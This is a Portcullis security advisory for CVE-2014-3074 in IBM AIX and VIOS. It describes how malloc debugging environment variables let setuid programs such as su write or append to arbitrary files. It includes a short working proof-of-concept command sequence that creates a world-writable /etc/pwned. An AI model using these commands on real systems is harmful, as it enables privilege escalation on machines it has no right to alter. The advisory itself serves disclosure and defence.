Vulnerability title: Runtime Linker Allows Privilege Escalation Via Arbitrary File Writes in IBM AIX CVE: CVE-2014-3074 Vendor: IBM Product: AIX Affected version: AIX 6.1 and 7.1 and VIOS 2.2.* Reported by: Tim Brown Details: It has been identified that the runtime linker allows privilege escalation via arbitrary file writes with elevated privileges (SetGID and SetUID programs). The following will cause a new file /etc/pwned to be created with permissions of rw-rw-rw: umask 0 MALLOCOPTIONS=buckets MALLOCBUCKETS=number_of_buckets:8,bucket_statistics:/etc/pwned export MALLOCOPTIONS MALLOCBUCKETS su - In instances where the output file exists, then the report_allocations output will be appended to the existing file and the permissions preserved. Further details at: https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-3074/ Copyright: Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited. Disclaimer: The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
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